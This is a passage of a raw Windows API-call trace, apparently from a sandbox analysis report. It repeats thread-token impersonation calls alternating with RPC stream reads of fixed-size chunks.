out: TokenHandle=0xbde878*=0x0) returned 0 [0147.480] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.480] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.480] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb2, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.480] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.480] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.481] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.481] GetCurrentThread () returned 0xfffffffffffffffe [0147.481] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.482] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.482] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.482] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x46, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.482] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.482] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.483] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.483] GetCurrentThread () returned 0xfffffffffffffffe [0147.483] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.483] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.483] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.483] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xf5, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.483] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.483] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.484] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.485] GetCurrentThread () returned 0xfffffffffffffffe [0147.485] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.485] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.485] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.485] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xac, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.485] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.485] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.486] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.486] GetCurrentThread () returned 0xfffffffffffffffe [0147.486] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.486] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.486] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.486] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xf0, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.486] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.487] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.488] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.488] GetCurrentThread () returned 0xfffffffffffffffe [0147.488] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.488] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.488] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.488] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x8e, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.488] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.488] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.489] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.489] GetCurrentThread () returned 0xfffffffffffffffe [0147.489] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.489] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.489] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.489] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x55, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.489] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.490] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.490] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.491] GetCurrentThread () returned 0xfffffffffffffffe [0147.491] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.491] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.491] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.491] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x3d, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.491] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.491] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.492] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.492] GetCurrentThread () returned 0xfffffffffffffffe [0147.492] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.492] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.492] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.492] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x61, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.492] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.492] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.493] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.493] GetCurrentThread () returned 0xfffffffffffffffe [0147.493] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.494] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.494] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.494] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x35, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.494] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.494] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.495] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.495] GetCurrentThread () returned 0xfffffffffffffffe [0147.495] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.495] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.495] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.495] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x17, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.496] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.496] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.497] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.497] GetCurrentThread () returned 0xfffffffffffffffe [0147.497] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.497] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.497] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.497] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xdb, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.497] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.497] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.498] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.498] GetCurrentThread () returned 0xfffffffffffffffe [0147.498] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.498] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.498] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.498] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x16, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.499] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.499] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.500] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.500] GetCurrentThread () returned 0xfffffffffffffffe [0147.500] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.500] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.500] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.500] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x29, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.500] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.500] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.501] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.501] GetCurrentThread () returned 0xfffffffffffffffe [0147.501] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.501] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.501] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.501] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xfc, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.502] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.502] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.503] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.503] GetCurrentThread () returned 0xfffffffffffffffe [0147.503] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.503] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.503] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.503] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa0, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.503] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.503] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.504] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.504] GetCurrentThread () returned 0xfffffffffffffffe [0147.504] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.504] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.504] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.504] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xce, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.505] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.505] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.505] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.506] GetCurrentThread () returned 0xfffffffffffffffe [0147.506] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.506] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.506] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.506] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x5e, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.506] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.506] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.507] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.507] GetCurrentThread () returned 0xfffffffffffffffe [0147.507] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.507] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.507] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.507] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa5, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.507] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.507] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.508] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.508] GetCurrentThread () returned 0xfffffffffffffffe [0147.508] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.508] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.509] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.509] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xe4, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.509] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.509] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.510] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.510] GetCurrentThread () returned 0xfffffffffffffffe [0147.510] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.510] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.510] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.510] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc1, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.510] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.510] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.511] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.511] GetCurrentThread () returned 0xfffffffffffffffe [0147.511] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.511] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.511] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.511] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb7, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.511] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.511] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.512] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.512] GetCurrentThread () returned 0xfffffffffffffffe [0147.512] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.512] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.512] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.513] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xfa, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.513] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.513] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.514] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.514] GetCurrentThread () returned 0xfffffffffffffffe [0147.514] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.514] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.514] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.514] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xfa, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.514] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.514] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.515] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.515] GetCurrentThread () returned 0xfffffffffffffffe [0147.515] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.515] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.515] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.515] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xea, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.516] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.516] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.517] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.517] GetCurrentThread () returned 0xfffffffffffffffe [0147.517] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.517] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.517] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.517] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xe8, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.517] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.517] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.518] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.518] GetCurrentThread () returned 0xfffffffffffffffe [0147.518] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.518] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.518] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.518] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x58, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.518] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.519] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.520] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.520] GetCurrentThread () returned 0xfffffffffffffffe [0147.520] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.520] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.520] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.520] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x78, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.520] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.520] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.521] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.521] GetCurrentThread () returned 0xfffffffffffffffe [0147.521] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.521] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.521] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.521] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x8f, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.522] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.522] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.522] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.522] GetCurrentThread () returned 0xfffffffffffffffe [0147.522] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.523] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.523] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.523] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xcb, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.523] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.523] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.524] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.524] GetCurrentThread () returned 0xfffffffffffffffe [0147.524] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.524] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.524] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.524] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xbe, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.524] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.524] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.525] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.525] GetCurrentThread () returned 0xfffffffffffffffe [0147.525] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.525] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.525] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.525] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa5, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.526] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.526] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.527] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.527] GetCurrentThread () returned 0xfffffffffffffffe [0147.527] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.527] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.527] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.527] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd3, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.527] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.527] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.534] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.534] GetCurrentThread () returned 0xfffffffffffffffe [0147.534] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.534] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.534] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.534] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb0, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.534] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.534] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.535] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.535] GetCurrentThread () returned 0xfffffffffffffffe [0147.535] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.535] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.535] SetThreadToken (Thread=0x0, Token=0x16c) 